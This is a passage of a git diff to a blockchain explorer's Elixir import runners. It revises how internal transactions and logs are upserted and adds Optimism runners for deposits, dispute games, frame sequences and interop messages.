!is_nil(internal_tx[:error]) end) - |> Enum.map(fn internal_tx -> internal_tx[:transaction_hash] end) + |> Enum.filter(fn internal_transaction -> + internal_transaction[:index] != 0 && !is_nil(internal_transaction[:error]) + end) + |> Enum.map(fn internal_transaction -> internal_transaction[:transaction_hash] end) |> MapSet.new() end @@ -522,6 +667,7 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do end end + # credo:disable-for-next-line defp update_transactions_inner( repo, valid_internal_transactions, @@ -530,17 +676,21 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do timeout, timestamps, first_trace, + transaction_from_db, transaction_receipt_from_node \\ nil ) do valid_internal_transactions_count = Enum.count(valid_internal_transactions) - txs_with_error_in_internal_txs = get_trivial_tx_hashes_with_error_in_internal_tx(valid_internal_transactions) + + transactions_with_error_in_internal_transactions = + get_trivial_transaction_hashes_with_error_in_internal_transaction(valid_internal_transactions) set = generate_transaction_set_to_update( first_trace, + transaction_from_db, transaction_receipt_from_node, timestamps, - txs_with_error_in_internal_txs + transactions_with_error_in_internal_transactions ) update_query = @@ -571,19 +721,21 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do def generate_transaction_set_to_update( first_trace, + transaction_from_db, transaction_receipt_from_node, timestamps, - txs_with_error_in_internal_txs + transactions_with_error_in_internal_transactions ) do default_set = [ created_contract_address_hash: first_trace.created_contract_address_hash, - error: first_trace.error, - status: first_trace.status, updated_at: timestamps.updated_at ] + # we don't save reverted trace outputs, but if we did, we could also set :revert_reason here set = default_set + |> put_status_in_update_set(first_trace, transaction_from_db) + |> put_error_in_update_set(first_trace, transaction_from_db, transaction_receipt_from_node) |> Keyword.put_new(:block_hash, first_trace.block_hash) |> Keyword.put_new(:block_number, first_trace.block_number) |> Keyword.put_new(:index, transaction_receipt_from_node && transaction_receipt_from_node.transaction_index) @@ -592,8 +744,11 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do transaction_receipt_from_node && transaction_receipt_from_node.cumulative_gas_used ) |> Keyword.put_new( - :has_error_in_internal_txs, - if(Enum.member?(txs_with_error_in_internal_txs, first_trace.transaction_hash), do: true, else: false) + :has_error_in_internal_transactions, + if(Enum.member?(transactions_with_error_in_internal_transactions, first_trace.transaction_hash), + do: true, + else: false + ) ) set_with_gas_used = @@ -608,22 +763,41 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do filtered_set end - defp remove_consensus_of_invalid_blocks(repo, invalid_block_numbers) do - minimal_block = EthereumJSONRPC.first_block_to_fetch(:trace_first_block) + defp put_status_in_update_set(update_set, first_trace, %{status: nil}), + do: Keyword.put_new(update_set, :status, first_trace.status) + + defp put_status_in_update_set(update_set, _first_trace, _transaction_from_db), do: update_set - if Enum.count(invalid_block_numbers) > 0 do - update_query = + defp put_error_in_update_set(update_set, first_trace, _transaction_from_db, %{status: :error}), + do: Keyword.put_new(update_set, :error, first_trace.error) + + defp put_error_in_update_set(update_set, first_trace, %{status: :error}, _transaction_receipt_from_node), + do: Keyword.put_new(update_set, :error, first_trace.error) + + defp put_error_in_update_set(update_set, first_trace, _transaction_from_db, _transaction_receipt_from_node) do + case update_set[:status] do + :error -> Keyword.put_new(update_set, :error, first_trace.error) + _ -> update_set + end + end + + defp set_refetch_needed_for_invalid_blocks(repo, invalid_block_numbers, %{updated_at: updated_at}) do + if Enum.empty?(invalid_block_numbers) do + {:ok, []} + else + update_block_query = from( - b in Block, - where: b.number in ^invalid_block_numbers and b.consensus, - where: b.number > ^minimal_block, - select: b.hash, + block in Block, + where: block.number in ^invalid_block_numbers and block.consensus == true, + where: ^traceable_blocks_dynamic_query(), + select: block.hash, # ShareLocks order already enforced by `acquire_blocks` (see docs: sharelocks.md) - update: [set: [consensus: false]] + update: [set: [refetch_needed: true, updated_at: ^updated_at]] ) try do - {_num, result} = repo.update_all(update_query, []) + {_num, result} = repo.update_all(update_block_query, []) + MissingRangesManipulator.add_ranges_by_block_numbers(invalid_block_numbers) Logger.debug(fn -> [ @@ -638,32 +812,49 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do postgrex_error in Postgrex.Error -> {:error, %{exception: postgrex_error, invalid_block_numbers: invalid_block_numbers}} end - else - {:ok, []} end end def update_pending_blocks_status(repo, pending_hashes, invalid_block_hashes) do - valid_block_hashes = - pending_hashes - |> MapSet.new() - |> MapSet.difference(MapSet.new(invalid_block_hashes)) - |> MapSet.to_list() - delete_query = - from( - pending_ops in PendingBlockOperation, - where: pending_ops.block_hash in ^valid_block_hashes - ) + case pending_hashes do + {:block_hashes, block_hashes} -> + valid_block_hashes = + block_hashes + |> MapSet.new() + |> MapSet.difference(MapSet.new(invalid_block_hashes)) + |> MapSet.to_list() + + PendingOperationsHelper.block_hash_in_query(valid_block_hashes) + + {:transaction_hashes, transaction_hashes} -> + from( + pending_ops in PendingTransactionOperation, + where: pending_ops.transaction_hash in ^transaction_hashes + ) + end try do - # ShreLocks order already enforced by `acquire_pending_internal_txs` (see docs: sharelocks.md) + # ShareLocks order already enforced by `acquire_pending_internal_transactions` (see docs: sharelocks.md) {_count, deleted} = repo.delete_all(delete_query, []) {:ok, deleted} rescue postgrex_error in Postgrex.Error -> - {:error, %{exception: postgrex_error, pending_hashes: valid_block_hashes}} + {:error, %{exception: postgrex_error, pending_hashes: pending_hashes}} + end + end + + defp traceable_blocks_dynamic_query do + if RangesHelper.trace_ranges_present?() do + block_ranges = RangesHelper.get_trace_block_ranges() + + Enum.reduce(block_ranges, dynamic([_], false), fn + _from.._to//_ = range, acc -> dynamic([block], ^acc or block.number in ^range) + num_to_latest, acc -> dynamic([block], ^acc or block.number >= ^num_to_latest) + end) + else + dynamic([_], true) end end end diff --git a/apps/explorer/lib/explorer/chain/import/runner/logs.ex b/apps/explorer/lib/explorer/chain/import/runner/logs.ex index 1a816c0a932a..cb8466f2b2ac 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/logs.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/logs.ex @@ -7,6 +7,7 @@ defmodule Explorer.Chain.Import.Runner.Logs do alias Ecto.{Changeset, Multi, Repo} alias Explorer.Chain.{Import, Log} + alias Explorer.Prometheus.Instrumenter import Ecto.Query, only: [from: 2] @@ -41,7 +42,12 @@ defmodule Explorer.Chain.Import.Runner.Logs do |> Map.put(:timestamps, timestamps) Multi.run(multi, :logs, fn repo, _ -> - insert(repo, changes_list, insert_options) + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :logs, + :logs + ) end) end @@ -59,13 +65,23 @@ defmodule Explorer.Chain.Import.Runner.Logs do on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) # Enforce Log ShareLocks order (see docs: sharelocks.md) - ordered_changes_list = Enum.sort_by(changes_list, &{&1.transaction_hash, &1.block_hash, &1.index}) + ordered_changes_list = + case Application.get_env(:explorer, :chain_type) do + :celo -> Enum.sort_by(changes_list, &{&1.block_hash, &1.index}) + _ -> Enum.sort_by(changes_list, &{&1.transaction_hash, &1.block_hash, &1.index}) + end + + conflict_target = + case Application.get_env(:explorer, :chain_type) do + :celo -> [:index, :block_hash] + _ -> [:transaction_hash, :index, :block_hash] + end {:ok, _} = Import.insert_changes_list( repo, ordered_changes_list, - conflict_target: [:transaction_hash, :index, :block_hash], + conflict_target: conflict_target, on_conflict: on_conflict, for: Log, returning: true, @@ -75,34 +91,65 @@ defmodule Explorer.Chain.Import.Runner.Logs do end defp default_on_conflict do - from( - log in Log, - update: [ - set: [ - address_hash: fragment("EXCLUDED.address_hash"), - data: fragment("EXCLUDED.data"), - first_topic: fragment("EXCLUDED.first_topic"), - second_topic: fragment("EXCLUDED.second_topic"), - third_topic: fragment("EXCLUDED.third_topic"), - fourth_topic: fragment("EXCLUDED.fourth_topic"), - # Don't update `index` as it is part of the composite primary key and used for the conflict target - type: fragment("EXCLUDED.type"), - # Don't update `transaction_hash` as it is part of the composite primary key and used for the conflict target - inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", log.inserted_at), - updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", log.updated_at) - ] - ], - where: - fragment( - "(EXCLUDED.address_hash, EXCLUDED.data, EXCLUDED.first_topic, EXCLUDED.second_topic, EXCLUDED.third_topic, EXCLUDED.fourth_topic, EXCLUDED.type) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?)", - log.address_hash, - log.data, - log.first_topic, - log.second_topic, - log.third_topic, - log.fourth_topic, - log.type + case Application.get_env(:explorer, :chain_type) do + :celo -> + from( + log in Log, + update: [ + set: [ + address_hash: fragment("EXCLUDED.address_hash"), + data: fragment("EXCLUDED.data"), + first_topic: fragment("EXCLUDED.first_topic"), + second_topic: fragment("EXCLUDED.second_topic"), + third_topic: fragment("EXCLUDED.third_topic"), + fourth_topic: fragment("EXCLUDED.fourth_topic"), + # Don't update `index` as it is part of the composite primary key and used for the conflict target + transaction_hash: fragment("EXCLUDED.transaction_hash"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", log.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", log.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.address_hash, EXCLUDED.data, EXCLUDED.first_topic, EXCLUDED.second_topic, EXCLUDED.third_topic, EXCLUDED.fourth_topic, EXCLUDED.transaction_hash) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?)", + log.address_hash, + log.data, + log.first_topic, + log.second_topic, + log.third_topic, + log.fourth_topic, + log.transaction_hash + ) + ) + + _ -> + from( + log in Log, + update: [ + set: [ + address_hash: fragment("EXCLUDED.address_hash"), + data: fragment("EXCLUDED.data"), + first_topic: fragment("EXCLUDED.first_topic"), + second_topic: fragment("EXCLUDED.second_topic"), + third_topic: fragment("EXCLUDED.third_topic"), + fourth_topic: fragment("EXCLUDED.fourth_topic"), + # Don't update `index` as it is part of the composite primary key and used for the conflict target + # Don't update `transaction_hash` as it is part of the composite primary key and used for the conflict target + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", log.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", log.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.address_hash, EXCLUDED.data, EXCLUDED.first_topic, EXCLUDED.second_topic, EXCLUDED.third_topic, EXCLUDED.fourth_topic) IS DISTINCT FROM (?, ?, ?, ?, ?, ?)", + log.address_hash, + log.data, + log.first_topic, + log.second_topic, + log.third_topic, + log.fourth_topic + ) ) - ) + end end end diff --git a/apps/explorer/lib/explorer/chain/import/runner/optimism/deposits.ex b/apps/explorer/lib/explorer/chain/import/runner/optimism/deposits.ex new file mode 100644 index 000000000000..0422a625f35a --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/optimism/deposits.ex @@ -0,0 +1,106 @@ +defmodule Explorer.Chain.Import.Runner.Optimism.Deposits do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Deposit.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Optimism.Deposit + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [Deposit.t()] + + @impl Import.Runner + def ecto_schema_module, do: Deposit + + @impl Import.Runner + def option_key, do: :optimism_deposits + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_optimism_deposits, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :optimism_deposits, + :optimism_deposits + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [Deposit.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce Deposit ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.l2_transaction_hash) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: Deposit, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :l2_transaction_hash, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + deposit in Deposit, + update: [ + set: [ + # don't update `l2_transaction_hash` as it is a primary key and used for the conflict target + l1_block_number: fragment("EXCLUDED.l1_block_number"), + l1_block_timestamp: fragment("EXCLUDED.l1_block_timestamp"), + l1_transaction_hash: fragment("EXCLUDED.l1_transaction_hash"), + l1_transaction_origin: fragment("EXCLUDED.l1_transaction_origin"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", deposit.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", deposit.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.l1_block_number, EXCLUDED.l1_block_timestamp, EXCLUDED.l1_transaction_hash, EXCLUDED.l1_transaction_origin) IS DISTINCT FROM (?, ?, ?, ?)", + deposit.l1_block_number, + deposit.l1_block_timestamp, + deposit.l1_transaction_hash, + deposit.l1_transaction_origin + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/optimism/dispute_games.ex b/apps/explorer/lib/explorer/chain/import/runner/optimism/dispute_games.ex new file mode 100644 index 000000000000..304ecd0c2aa4 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/optimism/dispute_games.ex @@ -0,0 +1,110 @@ +defmodule Explorer.Chain.Import.Runner.Optimism.DisputeGames do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Optimism.DisputeGame.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Optimism.DisputeGame + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [DisputeGame.t()] + + @impl Import.Runner + def ecto_schema_module, do: DisputeGame + + @impl Import.Runner + def option_key, do: :optimism_dispute_games + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_dispute_games, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :optimism_dispute_games, + :optimism_dispute_games + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [DisputeGame.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce DisputeGame ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.index) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: DisputeGame, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :index, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + game in DisputeGame, + update: [ + set: [ + # don't update `index` as it is a primary key and used for the conflict target + game_type: fragment("EXCLUDED.game_type"), + address_hash: fragment("EXCLUDED.address_hash"), + extra_data: fragment("EXCLUDED.extra_data"), + created_at: fragment("EXCLUDED.created_at"), + resolved_at: fragment("EXCLUDED.resolved_at"), + status: fragment("EXCLUDED.status"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", game.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", game.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.game_type, EXCLUDED.address_hash, EXCLUDED.extra_data, EXCLUDED.created_at, EXCLUDED.resolved_at, EXCLUDED.status) IS DISTINCT FROM (?, ?, ?, ?, ?, ?)", + game.game_type, + game.address_hash, + game.extra_data, + game.created_at, + game.resolved_at, + game.status + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/optimism/eip1559_config_updates.ex b/apps/explorer/lib/explorer/chain/import/runner/optimism/eip1559_config_updates.ex new file mode 100644 index 000000000000..65ad40ee00dd --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/optimism/eip1559_config_updates.ex @@ -0,0 +1,104 @@ +defmodule Explorer.Chain.Import.Runner.Optimism.EIP1559ConfigUpdates do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Optimism.EIP1559ConfigUpdate.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Optimism.EIP1559ConfigUpdate + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [EIP1559ConfigUpdate.t()] + + @impl Import.Runner + def ecto_schema_module, do: EIP1559ConfigUpdate + + @impl Import.Runner + def option_key, do: :optimism_eip1559_config_updates + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_eip1559_config_updates, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :optimism_eip1559_config_updates, + :optimism_eip1559_config_updates + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [EIP1559ConfigUpdate.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce EIP1559ConfigUpdate ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.l2_block_number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: EIP1559ConfigUpdate, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :l2_block_number, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + update in EIP1559ConfigUpdate, + update: [ + set: [ + # don't update `l2_block_number` as it is a primary key and used for the conflict target + l2_block_hash: fragment("EXCLUDED.l2_block_hash"), + base_fee_max_change_denominator: fragment("EXCLUDED.base_fee_max_change_denominator"), + elasticity_multiplier: fragment("EXCLUDED.elasticity_multiplier"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", update.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", update.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.l2_block_hash, EXCLUDED.base_fee_max_change_denominator, EXCLUDED.elasticity_multiplier) IS DISTINCT FROM (?, ?, ?)", + update.l2_block_hash, + update.base_fee_max_change_denominator, + update.elasticity_multiplier + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/optimism/frame_sequence_blobs.ex b/apps/explorer/lib/explorer/chain/import/runner/optimism/frame_sequence_blobs.ex new file mode 100644 index 000000000000..56a2d6dcb13d --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/optimism/frame_sequence_blobs.ex @@ -0,0 +1,109 @@ +defmodule Explorer.Chain.Import.Runner.Optimism.FrameSequenceBlobs do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Optimism.FrameSequenceBlob.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Optimism.FrameSequenceBlob + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [FrameSequenceBlob.t()] + + @impl Import.Runner + def ecto_schema_module, do: FrameSequenceBlob + + @impl Import.Runner + def option_key, do: :optimism_frame_sequence_blobs + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_frame_sequence_blobs, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :optimism_frame_sequence_blobs, + :optimism_frame_sequence_blobs + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [FrameSequenceBlob.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce FrameSequenceBlob ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.id) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: FrameSequenceBlob, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: [:key, :type], + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + fsb in FrameSequenceBlob, + update: [ + set: [ + # don't update `key` as it is a part of the composite primary key and used for the conflict target + # don't update `type` as it is a part of the composite primary key and used for the conflict target + id: fragment("EXCLUDED.id"), + metadata: fragment("EXCLUDED.metadata"), + l1_transaction_hash: fragment("EXCLUDED.l1_transaction_hash"), + l1_timestamp: fragment("EXCLUDED.l1_timestamp"), + frame_sequence_id: fragment("EXCLUDED.frame_sequence_id"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", fsb.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", fsb.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.id, EXCLUDED.metadata, EXCLUDED.l1_transaction_hash, EXCLUDED.l1_timestamp, EXCLUDED.frame_sequence_id) IS DISTINCT FROM (?, ?, ?, ?, ?)", + fsb.id, + fsb.metadata, + fsb.l1_transaction_hash, + fsb.l1_timestamp, + fsb.frame_sequence_id + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/optimism/frame_sequences.ex b/apps/explorer/lib/explorer/chain/import/runner/optimism/frame_sequences.ex new file mode 100644 index 000000000000..bf45f5354d71 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/optimism/frame_sequences.ex @@ -0,0 +1,102 @@ +defmodule Explorer.Chain.Import.Runner.Optimism.FrameSequences do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Optimism.FrameSequence.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Optimism.FrameSequence + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [FrameSequence.t()] + + @impl Import.Runner + def ecto_schema_module, do: FrameSequence + + @impl Import.Runner + def option_key, do: :optimism_frame_sequences + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_frame_sequences, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :optimism_frame_sequences, + :optimism_frame_sequences + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [FrameSequence.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce FrameSequence ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.id) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: FrameSequence, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :id, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + fs in FrameSequence, + update: [ + set: [ + # don't update `id` as it is a primary key and used for the conflict target + l1_transaction_hashes: fragment("EXCLUDED.l1_transaction_hashes"), + l1_timestamp: fragment("EXCLUDED.l1_timestamp"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", fs.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", fs.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.l1_transaction_hashes, EXCLUDED.l1_timestamp) IS DISTINCT FROM (?, ?)", + fs.l1_transaction_hashes, + fs.l1_timestamp + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/optimism/interop_messages.ex b/apps/explorer/lib/explorer/chain/import/runner/optimism/interop_messages.ex new file mode 100644 index 000000000000..ea8f67a27680 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/optimism/interop_messages.ex @@ -0,0 +1,130 @@ +defmodule Explorer.Chain.Import.Runner.Optimism.InteropMessages do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Optimism.InteropMessage.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Optimism.InteropMessage + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [InteropMessage.t()] + + @impl Import.Runner + def ecto_schema_module, do: InteropMessage + + @impl Import.Runner + def option_key, do: :optimism_interop_messages + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_interop_messages, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :optimism_interop_messages, + :optimism_interop_messages + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [InteropMessage.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce InteropMessage ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, &{&1.nonce, &1.init_chain_id}) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: InteropMessage, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: [:nonce, :init_chain_id], + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + message in InteropMessage, + update: [ + set: [ + # don't update `nonce` as it is a part of the composite primary key and used for the conflict target + # don't update `init_chain_id` as it is a part of the composite primary key and used for the conflict target + sender_address_hash: fragment("COALESCE(EXCLUDED.sender_address_hash, ?)", message.sender_address_hash), + target_address_hash: fragment("COALESCE(EXCLUDED.target_address_hash, ?)", message.target_address_hash), + init_transaction_hash: fragment("COALESCE(EXCLUDED.init_transaction_hash, ?)", message.init_transaction_hash), + block_number: fragment("COALESCE(EXCLUDED.block_number, ?)", message.block_number), + timestamp: fragment("COALESCE(EXCLUDED.timestamp, ?)", message.timestamp), + relay_chain_id: fragment("EXCLUDED.relay_chain_id"), + relay_transaction_hash: + fragment("COALESCE(EXCLUDED.relay_transaction_hash, ?)", message.relay_transaction_hash), + payload: fragment("COALESCE(EXCLUDED.payload, ?)", message.payload), + failed: fragment("COALESCE(EXCLUDED.failed, ?)", message.failed), + transfer_token_address_hash: + fragment("COALESCE(EXCLUDED.transfer_token_address_hash, ?)", 